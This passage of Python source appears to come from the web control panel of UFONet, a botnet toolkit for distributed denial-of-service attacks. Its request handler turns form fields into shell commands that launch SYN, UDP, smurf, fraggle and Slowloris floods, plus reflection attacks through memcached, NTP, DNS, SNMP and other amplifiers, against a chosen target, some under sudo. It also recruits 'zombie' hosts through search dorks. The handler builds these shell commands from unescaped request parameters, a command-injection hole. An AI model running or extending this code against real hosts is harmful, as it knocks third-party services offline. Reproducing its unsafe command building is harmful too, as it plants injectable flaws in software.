  4282. json.dump({"grid_token": grid_token, "grid_contact": grid_contact, "grid_nick": grid_nick}, f, indent=4)
  4283. def save_cfg(self,pGet):
  4284. # set values for requests configuration from html form to json file
  4285. if "rproxy" in list(pGet.keys()):
  4286. frm_rproxy = pGet["rproxy"].replace(" ","/")
  4287. else:
  4288. frm_rproxy = self.rproxy
  4289. if "ruseragent" in list(pGet.keys()):
  4290. frm_ruseragent = pGet["ruseragent"]
  4291. else:
  4292. frm_ruseragent = self.ruseragent
  4293. if "rreferer" in list(pGet.keys()):
  4294. frm_rreferer = pGet["rreferer"]
  4295. else:
  4296. frm_rreferer = self.rreferer
  4297. if "rhost" in list(pGet.keys()):
  4298. frm_rhost = pGet["rhost"]
  4299. else:
  4300. frm_rhost = self.rhost
  4301. if "rxforw" in list(pGet.keys()):
  4302. frm_rxforw = pGet["rxforw"]
  4303. else:
  4304. if "update" in list(pGet.keys()):
  4305. frm_rxforw = ""
  4306. else:
  4307. frm_rxforw = self.rxforw
  4308. if "rxclient" in list(pGet.keys()):
  4309. frm_rxclient = pGet["rxclient"]
  4310. else:
  4311. if "update" in list(pGet.keys()):
  4312. frm_rxclient = ""
  4313. else:
  4314. frm_rxclient = self.rxclient
  4315. if "rtimeout" in list(pGet.keys()):
  4316. frm_rtimeout = pGet["rtimeout"]
  4317. else:
  4318. frm_rtimeout = self.rtimeout
  4319. if "rretries" in list(pGet.keys()):
  4320. frm_rretries = pGet["rretries"]
  4321. else:
  4322. frm_rretries = self.rretries
  4323. if "rdelay" in list(pGet.keys()):
  4324. frm_rdelay = pGet["rdelay"]
  4325. else:
  4326. frm_rdelay = self.rdelay
  4327. if "threads" in list(pGet.keys()):
  4328. frm_threads = pGet["threads"]
  4329. else:
  4330. frm_threads = self.threads
  4331. if "rssl" in list(pGet.keys()):
  4332. frm_rssl = pGet["rssl"]
  4333. else:
  4334. if "update" in list(pGet.keys()):
  4335. frm_rssl = ""
  4336. else:
  4337. frm_rssl = self.rssl
  4338. # set new values on webcfg json file
  4339. with open(self.mothership_webcfg_file, "w") as f:
  4340. json.dump({"rproxy": frm_rproxy, "ruseragent": frm_ruseragent, "rreferer": frm_rreferer, "rhost": frm_rhost, "rxforw": frm_rxforw, "rxclient": frm_rxclient, "rtimeout": frm_rtimeout, "rretries": frm_rretries, "rdelay": frm_rdelay, "threads":frm_threads, "rssl":frm_rssl}, f, indent=4)
  4341. def get(self, request):
  4342. # set request options of the user
  4343. cmd_options = "--proxy='" + self.rproxy + "' --user-agent='" + self.ruseragent + "' --referer='" + self.rreferer + "' --host='" + self.rhost + "' --timeout='" + self.rtimeout + "' --retries='" + self.rretries + "' --delay='" + self.rdelay +"'" + " --threads='"+self.threads+"'"
  4344. if self.rxforw == "on":
  4345. cmd_options = cmd_options + " --xforw"
  4346. if self.rxclient == "on":
  4347. cmd_options = cmd_options + " --xclient"
  4348. if self.rssl == "on":
  4349. cmd_options = cmd_options + " --force-ssl"
  4350. cmd_options = cmd_options + " --force-yes" # no raw_input allowed on webgui
  4351. runcmd = ""
  4352. try:
  4353. res = re.findall(r"^GET ([^\s]+)", request.decode('utf-8'))
  4354. except:
  4355. res = re.findall(r"^GET ([^\s]+)", request)
  4356. if res is None or len(res)==0:
  4357. return
  4358. pGet = {}
  4359. page = res[0]
  4360. paramStart = page.find("?")
  4361. if paramStart != -1:
  4362. page = page[:paramStart]
  4363. try:
  4364. pGet = self.buildGetParams(request.decode('utf-8'))
  4365. except:
  4366. pGet = self.buildGetParams(request)
  4367. if page.startswith("/js/") or page.startswith("/images/") or page.startswith("/maps/") or page.startswith("/markers/"):
  4368. if os.path.exists("core/"+page[1:]):
  4369. try:
  4370. f=open("core/"+page[1:],'r',encoding="utf-8")
  4371. data = f.read()
  4372. self.pages[page]=data
  4373. except:
  4374. f=open("core/"+page[1:],'rb') # ajax map related
  4375. data = f.read()
  4376. self.pages[page]=data
  4377. elif page == "/js/ajax.js":
  4378. global _AJAX_MAP_CACHE
  4379. if _AJAX_MAP_CACHE is None:
  4380. from .ajaxmap import AjaxMap
  4381. import io, contextlib
  4382. _buf = io.StringIO()
  4383. with contextlib.redirect_stdout(_buf), contextlib.redirect_stderr(_buf):
  4384. _AJAX_MAP_CACHE = AjaxMap()
  4385. self.pages[page] = _AJAX_MAP_CACHE.ajax(pGet)
  4386. if page == "/cmd_mods_status":
  4387. from core._botnet import is_placeholder as _is_ph_s
  4388. def _cr(fp):
  4389. try:
  4390. with open(fp) as _f:
  4391. return sum(1 for _l in _f if _l.strip() and not _is_ph_s(_l.strip()))
  4392. except Exception:
  4393. return 0
  4394. _ref = {
  4395. "memcached": "botnet/memcached.txt", "chargen": "botnet/chargen.txt",
  4396. "cldap": "botnet/cldap.txt", "ssdp": "botnet/ssdp.txt",
  4397. "qotd": "botnet/qotd.txt", "tftp": "botnet/tftp.txt",
  4398. "wsdisco": "botnet/wsdisco.txt", "coap": "botnet/coap.txt",
  4399. "mssql": "botnet/mssql.txt", "arms": "botnet/arms.txt",
  4400. "plex": "botnet/plex.txt", "netbios": "botnet/netbios.txt",
  4401. "ripv1": "botnet/ripv1.txt", "middlebox": "botnet/middlebox.txt",
  4402. "tachyon": "botnet/dns.txt", "monlist": "botnet/ntp.txt",
  4403. "sniper": "botnet/snmp.txt",
  4404. }
  4405. self.pages["/cmd_mods_status"] = " ".join(_n+"="+str(_cr(_p)) for _n,_p in _ref.items())
  4406. if page == "/cmd_army_check":
  4407. from core._botnet import is_placeholder as _is_ph
  4408. def _count_real(fp):
  4409. try:
  4410. with open(fp) as _f:
  4411. return sum(1 for _l in _f if _l.strip() and not _is_ph(_l.strip()))
  4412. except Exception:
  4413. return 0
  4414. _mode = pGet.get("mod_only", "off")
  4415. _mod_files = {
  4416. "memcached": "botnet/memcached.txt", "chargen": "botnet/chargen.txt",
  4417. "cldap": "botnet/cldap.txt", "ssdp": "botnet/ssdp.txt",
  4418. "qotd": "botnet/qotd.txt", "tftp": "botnet/tftp.txt",
  4419. "wsdisco": "botnet/wsdisco.txt", "coap": "botnet/coap.txt",
  4420. "mssql": "botnet/mssql.txt", "arms": "botnet/arms.txt",
  4421. "plex": "botnet/plex.txt", "netbios": "botnet/netbios.txt",
  4422. "ripv1": "botnet/ripv1.txt", "middlebox": "botnet/middlebox.txt",
  4423. "tachyon": "botnet/dns.txt", "monlist": "botnet/ntp.txt",
  4424. "sniper": "botnet/snmp.txt",
  4425. }
  4426. _http_only = {"loic", "loris", "slowread", "goldeneye", "rapidreset", "finflood",
  4427. "ufosyn", "xmas", "nuke", "ufoack", "uforst", "droper", "overlap",
  4428. "pinger", "ufoudp", "spray", "smurf", "fraggle", "dbstress"}
  4429. if _mode != "on":
  4430. _real = _count_real(self.zombies_file)
  4431. self.pages["/cmd_army_check"] = "ok" if _real > 0 else "err=No real entries in botnet/zombies.txt. Populate via dorking: ./ufonet -s 'page.php?url='"
  4432. else:
  4433. _missing = []
  4434. _has_any = False
  4435. for _name in list(_mod_files.keys()) + list(_http_only):
  4436. _v = pGet.get(_name, "0")
  4437. try:
  4438. _vn = int(_v) if _v else 0
  4439. except Exception:
  4440. _vn = 0
  4441. if _vn <= 0 and _name != "dbstress":
  4442. continue
  4443. if _name == "dbstress" and not _v:
  4444. continue
  4445. if _name in _http_only:
  4446. _has_any = True
  4447. continue
  4448. _fp = _mod_files[_name]
  4449. if _count_real(_fp) > 0:
  4450. _has_any = True
  4451. else:
  4452. _missing.append(_name)
  4453. if _has_any:
  4454. self.pages["/cmd_army_check"] = "ok"
  4455. else:
  4456. if _missing:
  4457. self.pages["/cmd_army_check"] = "err=Selected mods have no real reflectors: " + ", ".join(_missing) + ". Populate botnet/<mod>.txt with real IPs."
  4458. else:
  4459. self.pages["/cmd_army_check"] = "err=No Extra(s) selected"
  4460. if page == "/cmd_check_tool":
  4461. self.pages["/cmd_check_tool"] = "<pre>Waiting for updates results...</pre>"
  4462. runcmd = "("+python_version+" -i ufonet --update |tee /tmp/out) &"
  4463. if page == "/cmd_check_tool_update":
  4464. if not os.path.exists('/tmp/out'):
  4465. open('/tmp/out', 'w').close()
  4466. with open('/tmp/out', 'r') as f:
  4467. self.pages["/cmd_check_tool_update"] = "<pre>"+f.read()+"<pre>"
  4468. if page == "/cmd_check_tor":
  4469. self.pages["/cmd_check_tor"] = "<pre>Waiting for results from the Tor check...</pre>"
  4470. runcmd = "("+python_version+" -i ufonet --check-tor |tee /tmp/out) &"
  4471. if page == "/cmd_check_tor_update":
  4472. if not os.path.exists('/tmp/out'):
  4473. open('/tmp/out', 'w').close()
  4474. with open('/tmp/out', 'r') as f:
  4475. self.pages["/cmd_check_tor_update"] = "<pre>"+f.read()+"<pre>"
  4476. if page == "/cmd_view_changelog":
  4477. f = open("docs/VERSION", "r")
  4478. changelog = f.read()
  4479. f.close()
  4480. self.pages["/cmd_view_changelog"] = "</center><pre>"+str(changelog)+"<br /><br/>"
  4481. if page == "/cmd_list_army":
  4482. self.pages["/cmd_list_army"] = "<pre><h1>Total Botnet = "+self.total_botnet+"</h1><table cellpadding='10' cellspacing='10' border='1'><tr><td>UCAVs:</td><td>"+self.num_ucavs+"</td><td>Aliens:</td><td>"+self.num_aliens+"</td></tr><tr><td>Droids:</td><td>"+self.num_droids+"</td><td>Zombies:</td><td>"+self.num_zombies+"</td></tr><tr><td>XML-RPCs:</td><td>"+self.num_rpcs+" </td><td>NTPs:</td><td>"+self.num_ntps+"</td></tr><tr><td>DNSs:</td><td>"+self.num_dnss+"</td><td>SNMPs:</td><td>"+self.num_snmps+"</td></tr></table> <hr><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>UCAVs:</u> <b>"+self.num_ucavs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ucavs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ucavs)+"</td><td></h3>"+'\n'.join(self.ucavs)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Aliens:</u> <b>"+self.num_aliens+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.aliens_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_aliens)+"</td><td></h3>"+'\n'.join(self.aliens)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Droids:</u> <b>"+self.num_droids+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.droids_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_droids)+"</td><td></h3>"+'\n'.join(self.droids)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Zombies:</u> <b>"+self.num_zombies+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.zombies_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_zombies)+"</td><td></h3>"+'\n'.join(self.zombies)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>XML-RPCs:</u> <b>"+self.num_rpcs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.rpcs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_rpcs)+"</td><td></h3>"+'\n'.join(self.rpcs)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>NTPs:</u> <b>"+self.num_ntps+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ntps_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ntps)+"</td><td></h3>"+'\n'.join(self.ntps)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>DNSs:</u> <b>"+self.num_dnss+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.dnss_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_dnss)+"</td><td></h3>"+'\n'.join(self.dnss)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>SNMPs:</u> <b>"+self.num_snmps+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.snmps_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_snmps)+"</td><td></h3>"+'\n'.join(self.snmps)+"</td></tr></table><br /><br/>"
  4483. if page == "/cmd_list_nodes":
  4484. self.dec_list_blackholes = []
  4485. self.decrypted_blackholes = []
  4486. for blackholes_text in self.list_blackholes:
  4487. self.decrypt(crypto_key, blackholes_text)
  4488. if self.decryptedtext:
  4489. if self.decryptedtext not in self.dec_list_blackholes:
  4490. self.dec_list_blackholes.append(self.decryptedtext)
  4491. else:
  4492. return
  4493. self.decryptedtext = "" # clean decryptedtext buffer
  4494. num_blackholes = 0 # blackholes nodes counter
  4495. for b in self.dec_list_blackholes:
  4496. s = b.rsplit(blackhole_sep, 1)[0]
  4497. ip_b = str(s.rsplit(blackhole_sep, 1)[0].rsplit(":", 1)[1])
  4498. if ip_b not in self.decrypted_blackholes:
  4499. self.decrypted_blackholes.append(ip_b)
  4500. num_blackholes = num_blackholes + 1
  4501. self.decrypted_globalnet = []
  4502. with open(self.globalnet_file) as f:
  4503. ls = f.read().splitlines()
  4504. f.close()
  4505. num_globalnet = 0 # globalnet nodes counter
  4506. for j in ls:
  4507. if globalnet_msg_sep in j:
  4508. m = j.split(globalnet_msg_sep)
  4509. globalnet_ip = m[3] # ip
  4510. self.decrypt(crypto_key, globalnet_ip)
  4511. if self.decryptedtext:
  4512. ip_g = self.decryptedtext
  4513. if ip_g not in self.decrypted_globalnet:
  4514. self.decrypted_globalnet.append(ip_g)
  4515. num_globalnet = num_globalnet + 1
  4516. self.decryptedtext = "" # clean decryptedtext buffer
  4517. if num_blackholes == 0:
  4518. ip_b = "-"
  4519. if num_globalnet == 0:
  4520. ip_g = "-"
  4521. total_nodes = str(num_blackholes + num_globalnet)
  4522. linked_blackholes = ['<a href="http://' + ip + '" target="_blank">' + ip + '</a>' for ip in self.decrypted_blackholes]
  4523. self.pages["/cmd_list_nodes"] = "<pre><h1>Total Nodes = "+str(total_nodes)+"</h1><br /><div id='infovis'></div><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u style=\"text-decoration: underline red;\"><a href='/radar' target='_blank'>GLOBAL.RADAR:</a></u> <b>"+str(num_globalnet)+"</b></td><td><h3><u style=\"text-decoration: underline red;\"><a href='/blackholes' target='_blank'>SHIP.WARPS:</a></u> <b>"+str(num_blackholes)+"</b></td></tr><tr><td></h3>"+'\n'.join(self.decrypted_globalnet)+"</td><td></h3>"+'\n'.join(linked_blackholes)+"</td></tr></table><br /><br/>"
  4524. if page == "/cmd_list_zombies":
  4525. self.pages["/cmd_list_zombies"] = "<pre><h1>Total Zombies = "+self.num_zombies+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Zombies:</u> <b>"+self.num_zombies+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.zombies_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_zombies)+"</td><td></h3>"+'\n'.join(self.zombies)+"</td></tr></table><br /><br/>"
  4526. if page == "/cmd_list_aliens":
  4527. self.pages["/cmd_list_aliens"] = "<pre><h1>Total Aliens = "+self.num_aliens+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Aliens:</u> <b>"+self.num_aliens+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.aliens_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_aliens)+"</td><td></h3>"+'\n'.join(self.aliens)+"</td></tr></table><br /><br/>"
  4528. if page == "/cmd_list_droids":
  4529. self.pages["/cmd_list_droids"] = "<pre><h1>Total Droids = "+self.num_droids+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Droids:</u> <b>"+self.num_droids+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.droids_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_droids)+"</td><td></h3>"+'\n'.join(self.droids)+"</td></tr></table><br /><br/>"
  4530. if page == "/cmd_list_ucavs":
  4531. self.pages["/cmd_list_ucavs"] = "<pre><h1>Total UCAVs = "+self.num_ucavs+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>UCAVs:</u> <b>"+self.num_ucavs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ucavs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ucavs)+"</td><td></h3>"+'\n'.join(self.ucavs)+"</td></tr></table><br /><br/>"
  4532. if page == "/cmd_list_rpcs":
  4533. self.pages["/cmd_list_rpcs"] = "<pre><h1>Total XML-RPCs = "+self.num_rpcs+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>XML-RPCs:</u> <b>"+self.num_rpcs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.rpcs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_rpcs)+"</td><td></h3>"+'\n'.join(self.rpcs)+"</td></tr></table><br /><br/>"
  4534. if page == "/cmd_list_ntps":
  4535. self.pages["/cmd_list_ntps"] = "<pre><h1>Total NTPs = "+self.num_ntps+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>NTPs:</u> <b>"+self.num_ntps+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ntps_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ntps)+"</td><td></h3>"+'\n'.join(self.ntps)+"</td></tr></table><br /><br/>"
  4536. if page == "/cmd_list_dnss":
  4537. self.pages["/cmd_list_dnss"] = "<pre><h1>Total DNSs = "+self.num_dnss+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>DNSs:</u> <b>"+self.num_dnss+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.dnss_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_dnss)+"</td><td></h3>"+'\n'.join(self.dnss)+"</td></tr></table><br /><br/>"
  4538. if page == "/cmd_list_snmps":
  4539. self.pages["/cmd_list_snmps"] = "<pre><h1>Total SNMPs = "+self.num_snmps+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>SNMPs:</u> <b>"+self.num_snmps+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.snmps_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_snmps)+"</td><td></h3>"+'\n'.join(self.snmps)+"</td></tr></table><br /><br/>"
  4540. if page == "/cmd_view_army":
  4541. if pGet=={}:
  4542. self.pages["/cmd_view_army"] = self.html_army_map()
  4543. if page == "/cmd_view_attack":
  4544. if 'target' in list(pGet.keys()) != None:
  4545. self.pages["/cmd_view_attack"] = self.html_army_map(pGet['target'])
  4546. if page == "/cmd_test_army":
  4547. self.pages["/cmd_test_army"] = "<pre>Waiting for testing results...</pre>"
  4548. runcmd = "("+python_version+" -i ufonet -t " + self.zombies_file + " " + cmd_options + "|tee /tmp/out) &"
  4549. if page == "/cmd_test_all":
  4550. self.pages["/cmd_test_all"] = "<pre>Waiting for testing results...</pre>"
  4551. runcmd = "("+python_version+" -i ufonet --test-all " + cmd_options + "|tee /tmp/out) &"
  4552. if page == "/cmd_test_offline":
  4553. self.pages["/cmd_test_offline"] = "<pre>Waiting for testing results...</pre>"
  4554. runcmd = "("+python_version+" -i ufonet --test-offline " + cmd_options + "|tee /tmp/out) &"
  4555. if page == "/cmd_attack_me":
  4556. self.pages["/cmd_attack_me"] = "<pre>Waiting for 'attack-me' results...</pre>"
  4557. runcmd = "("+python_version+" -i ufonet --attack-me " + cmd_options + "|tee /tmp/out) &"
  4558. if page == "/cmd_download_nodes":
  4559. self.pages["/cmd_download_nodes"] = "<pre>Waiting for nodes downloading results...</pre>"
  4560. runcmd = "("+python_version+" -i ufonet --download-nodes "+ cmd_options + "|tee /tmp/out) &"
  4561. if page == "/cmd_download_nodes_update":
  4562. if not os.path.exists('/tmp/out'):
  4563. open('/tmp/out', 'w').close()
  4564. with open('/tmp/out', 'r') as f:
  4565. self.pages["/cmd_download_nodes_update"] = "<pre>"+f.read()+"<pre>"
  4566. if page == "/cmd_attack_me_update":
  4567. if not os.path.exists('/tmp/out'):
  4568. open('/tmp/out', 'w').close()
  4569. with open('/tmp/out', 'r') as f:
  4570. self.pages["/cmd_attack_me_update"] = "<pre>"+f.read()+"<pre>"
  4571. if page == "/cmd_download_botnet_ip":
  4572. blackhole = pGet["blackhole"]
  4573. blackhole=urllib.parse.unquote(blackhole)
  4574. self.pages["/cmd_download_botnet_ip"] = "<pre>Waiting for downloading results...</pre>"
  4575. runcmd = "("+python_version+" -i ufonet --down-from '"+blackhole+"' "+ cmd_options + "|tee /tmp/out) &"
  4576. if page == "/cmd_download_botnet_ip_update":
  4577. if not os.path.exists('/tmp/out'):
  4578. open('/tmp/out', 'w').close()
  4579. with open('/tmp/out', 'r') as f:
  4580. self.pages["/cmd_download_botnet_ip_update"] = "<pre>"+f.read()+"<pre>"
  4581. if page == "/cmd_upload_botnet_ip":
  4582. blackhole = pGet["blackhole"]
  4583. blackhole=urllib.parse.unquote(blackhole)
  4584. self.pages["/cmd_upload_botnet_ip"] = "<pre>Waiting for uploading results...</pre>"
  4585. runcmd = "("+python_version+" -i ufonet --up-to '"+blackhole+"' "+ cmd_options + "|tee /tmp/out) &"
  4586. if page == "/cmd_upload_botnet_ip_update":
  4587. if not os.path.exists('/tmp/out'):
  4588. open('/tmp/out', 'w').close()
  4589. with open('/tmp/out', 'r') as f:
  4590. self.pages["/cmd_upload_botnet_ip_update"] = "<pre>"+f.read()+"<pre>"
  4591. if page == "/cmd_test_army_update":
  4592. if not os.path.exists('/tmp/out'):
  4593. open('/tmp/out', 'w').close()
  4594. with open('/tmp/out', 'r') as f:
  4595. self.pages["/cmd_test_army_update"] = "<pre>"+f.read()+"<pre>"
  4596. if page == "/cmd_test_all_update":
  4597. if not os.path.exists('/tmp/out'):
  4598. open('/tmp/out', 'w').close()
  4599. with open('/tmp/out', 'r') as f:
  4600. self.pages["/cmd_test_all_update"] = "<pre>"+f.read()+"<pre>"
  4601. if page == "/cmd_test_offline_update":
  4602. if not os.path.exists('/tmp/out'):
  4603. open('/tmp/out', 'w').close()
  4604. with open('/tmp/out', 'r') as f:
  4605. self.pages["/cmd_test_offline_update"] = "<pre>"+f.read()+"<pre>"
  4606. if page == "/cmd_test_rpcs":
  4607. self.pages["/cmd_test_rpcs"] = "<pre>Waiting for XML-RPC testing results...</pre>"
  4608. runcmd = "("+python_version+" -i ufonet --test-rpc " + cmd_options + "|tee /tmp/out) &"
  4609. if page == "/cmd_test_rpcs_update":
  4610. if not os.path.exists('/tmp/out'):
  4611. open('/tmp/out', 'w').close()
  4612. with open('/tmp/out', 'r') as f:
  4613. self.pages["/cmd_test_rpcs_update"] = "<pre>"+f.read()+"<pre>"
  4614. if page == "/cmd_attack":
  4615. self.pages["/cmd_attack"] = "<pre>Waiting for attacking results...</pre>"
  4616. cmd = ""
  4617. flag_ufosyn = None
  4618. flag_spray = None
  4619. flag_smurf = None
  4620. flag_xmas = None
  4621. flag_nuke = None
  4622. flag_tachyon = None
  4623. flag_monlist = None
  4624. flag_fraggle = None
  4625. flag_sniper = None
  4626. flag_ufoack = None
  4627. flag_uforst = None
  4628. flag_droper = None
  4629. flag_overlap = None
  4630. flag_pinger = None
  4631. flag_ufoudp = None
  4632. target = pGet["target"].replace(" ","/")
  4633. target=urllib.parse.unquote(target)
  4634. mod_only = pGet.get("mod_only", "off") == "on"
  4635. if mod_only:
  4636. nonroot_cmd = "("+python_version+" -i ufonet -m '"+target+"' "
  4637. root_cmd = "(sudo "+python_version+" -i ufonet -m '"+target+"' "
  4638. else:
  4639. nonroot_cmd = "("+python_version+" -i ufonet -a '"+target+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "
  4640. root_cmd = "(sudo "+python_version+" -i ufonet -a '"+target+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "
  4641. end_cmd = ""+cmd_options + "|tee /tmp/out) &"
  4642. if pGet["dbstress"]:
  4643. cmd += "--db '" +str(pGet["dbstress"])+ "' "
  4644. if pGet["loic"]:
  4645. cmd += "--loic '" +str(pGet["loic"])+ "' "
  4646. if pGet["loris"]:
  4647. cmd += "--loris '" +str(pGet["loris"])+ "' "
  4648. if pGet["ufosyn"]:
  4649. cmd += "--ufosyn '" +str(pGet["ufosyn"])+ "' "
  4650. flag_ufosyn = True
  4651. if pGet["spray"]:
  4652. cmd += "--spray '" +str(pGet["spray"])+ "' "
  4653. flag_spray = True
  4654. if pGet["smurf"]:
  4655. cmd += "--smurf '" +str(pGet["smurf"])+ "' "
  4656. flag_smurf = True
  4657. if pGet["xmas"]:
  4658. cmd += "--xmas '" +str(pGet["xmas"])+ "' "
  4659. flag_xmas = True
  4660. if pGet["nuke"]:
  4661. cmd += "--nuke '" +str(pGet["nuke"])+ "' "
  4662. flag_nuke = True
  4663. if pGet["tachyon"]:
  4664. cmd += "--tachyon '" +str(pGet["tachyon"])+ "' "
  4665. flag_tachyon = True
  4666. if pGet["monlist"]:
  4667. cmd += "--monlist '" +str(pGet["monlist"])+ "' "
  4668. flag_monlist = True
  4669. if pGet["fraggle"]:
  4670. cmd += "--fraggle '" +str(pGet["fraggle"])+ "' "
  4671. flag_fraggle = True
  4672. if pGet["sniper"]:
  4673. cmd += "--sniper '" +str(pGet["sniper"])+ "' "
  4674. flag_sniper = True
  4675. if pGet["ufoack"]:
  4676. cmd += "--ufoack '" +str(pGet["ufoack"])+ "' "
  4677. flag_ufoack = True
  4678. if pGet["uforst"]:
  4679. cmd += "--uforst '" +str(pGet["uforst"])+ "' "
  4680. flag_uforst = True
  4681. if pGet["droper"]:
  4682. cmd += "--droper '" +str(pGet["droper"])+ "' "
  4683. flag_droper = True
  4684. if pGet["overlap"]:
  4685. cmd += "--overlap '" +str(pGet["overlap"])+ "' "
  4686. flag_overlap = True
  4687. if pGet["pinger"]:
  4688. cmd += "--pinger '" +str(pGet["pinger"])+ "' "
  4689. flag_pinger = True
  4690. if pGet["ufoudp"]:
  4691. cmd += "--ufoudp '" +str(pGet["ufoudp"])+ "' "
  4692. flag_ufoudp = True
  4693. flag_newmod = False
  4694. for _m in ("memcached","chargen","cldap","ssdp","qotd","tftp","wsdisco","coap","mssql","arms","plex","netbios","ripv1","middlebox","rapidreset","slowread","finflood"):
  4695. if pGet.get(_m):
  4696. cmd += "--"+_m+" '"+str(pGet[_m])+"' "
  4697. flag_newmod = True
  4698. if pGet.get("goldeneye"):
  4699. cmd += "--goldeneye '"+str(pGet["goldeneye"])+"' "
  4700. need_root = any([flag_ufosyn, flag_spray, flag_smurf, flag_xmas, flag_nuke, flag_tachyon, flag_monlist, flag_fraggle, flag_sniper, flag_ufoack, flag_uforst, flag_droper, flag_overlap, flag_pinger, flag_ufoudp, flag_newmod])
  4701. cmd = (root_cmd if need_root else nonroot_cmd) + cmd
  4702. runcmd = cmd + end_cmd
  4703. if page == "/cmd_attack_update":
  4704. if not os.path.exists('/tmp/out'):
  4705. open('/tmp/out', 'w').close()
  4706. with open('/tmp/out', 'r') as f:
  4707. self.pages["/cmd_attack_update"] = "<pre>"+f.read()+"<pre>"
  4708. if page == "/cmd_inspect":
  4709. self.pages["/cmd_inspect"] = "<pre>Waiting for inspecting results...</pre>"
  4710. target = pGet["target"]
  4711. target=urllib.parse.unquote(target)
  4712. runcmd = "("+python_version+" -i ufonet -i '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
  4713. if page == "/cmd_inspect_update":
  4714. if not os.path.exists('/tmp/out'):
  4715. open('/tmp/out', 'w').close()
  4716. with open('/tmp/out', 'r') as f:
  4717. self.pages["/cmd_inspect_update"] = "<pre>"+f.read()+"<pre>"
  4718. if page == "/cmd_abduction":
  4719. self.pages["/cmd_abduction"] = "<pre>Waiting for abduction results...</pre>"
  4720. target = pGet["target"]
  4721. target=urllib.parse.unquote(target)
  4722. runcmd = "("+python_version+" -i ufonet -x '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
  4723. if page == "/cmd_abduction_update":
  4724. if not os.path.exists('/tmp/out'):
  4725. open('/tmp/out', 'w').close()
  4726. with open('/tmp/out', 'r') as f:
  4727. self.pages["/cmd_abduction_update"] = "<pre>"+f.read()+"<pre>"
  4728. if page == "/cmd_search":
  4729. self.pages["/cmd_search"] = "<pre>Waiting for search engines results...</pre>"
  4730. if pGet["dork_list"] == "on": # search using dork list (file: dorks.txt)
  4731. if pGet["all_engines"] == "on": # search using all search engines (and exclude those set by the user)
  4732. if pGet["exclude_engines"]:
  4733. runcmd = "("+python_version+" -i ufonet --sd 'botnet/dorks.txt' --sa '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
  4734. else:
  4735. runcmd = "("+python_version+" -i ufonet --sd 'botnet/dorks.txt' --sa " + cmd_options + "|tee /tmp/out) &"
  4736. else: # search using a search engine
  4737. runcmd = "("+python_version+" -i ufonet --sd 'botnet/dorks.txt' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
  4738. else: # search using a pattern
  4739. if pGet["autosearch"] == "on": # search using auto-search mod
  4740. if pGet["exclude_engines"]:
  4741. runcmd = "("+python_version+" -i ufonet --auto-search '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
  4742. else:
  4743. runcmd = "("+python_version+" -i ufonet --auto-search " + cmd_options + "|tee /tmp/out) &"
  4744. else:
  4745. if pGet["all_engines"] == "on": # search using all search engines
  4746. if pGet["exclude_engines"]:
  4747. runcmd = "("+python_version+" -i ufonet -s '"+pGet["dork"]+"' --sa '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
  4748. else:
